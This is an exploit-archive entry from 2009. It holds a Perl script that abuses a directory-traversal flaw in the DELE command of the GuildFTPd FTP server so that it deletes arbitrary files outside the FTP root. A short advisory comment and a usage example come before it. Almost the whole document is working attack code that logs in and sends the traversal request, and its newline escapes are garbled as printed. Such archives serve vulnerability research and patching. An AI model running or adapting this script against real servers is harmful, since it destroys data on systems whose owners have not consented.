[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : GuildFTPd FTP Server 0.999.14 Remote Delete Files Exploit
# Published : 2009-03-10
# Author : Jonathan Salwan
# Previous Title : NextApp Echo < 2.1.1 XML Injection Vulnerability
# Next Title : Belkin BullDog Plus UPS-Service Buffer Overflow Exploit


#!/usr/bin/perl
# Exploit: GuildFTPd FTP Server Version 0.x.x Remote Delete Files
#
# More detail for the vulnerability => http://secunia.com/advisories/32218/
# 
# 2) A vulnerability is caused due to an input validation error when handling FTP "DELE" 
# requests. This can be exploited to escape the FTP root and delete arbitrary files on 
# the system via directory traversal attacks using the ".." character sequence.
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan n";
print "[+] Soft: Guild FTP Server V0.x.xn";
print "[+] Exploit: Remote Delete Filen";

	if (@ARGV < 5)
		{
 		print "[*] Usage: <guildftp.pl> <host> <port> <login> <password> <file>n";
 		print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan salwan ..\\test.txtn";
 		exit;
		}

	$ip = $ARGV[0];
	$port = $ARGV[1];
	$user = $ARGV[2];
	$pass = $ARGV[3];
	$file = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "n[-] Connecting: Failed!n";

print "n[+] Connecting: Ok!n";
print "[+] Sending request...n";

	print $socket "USER $usern";
	print $socket "PASS $passn";
	print $socket "DELE $filen";

		sleep(5);
		close($socket);

print "[+]Done!n";

# www.Syue.com [2009-03-10]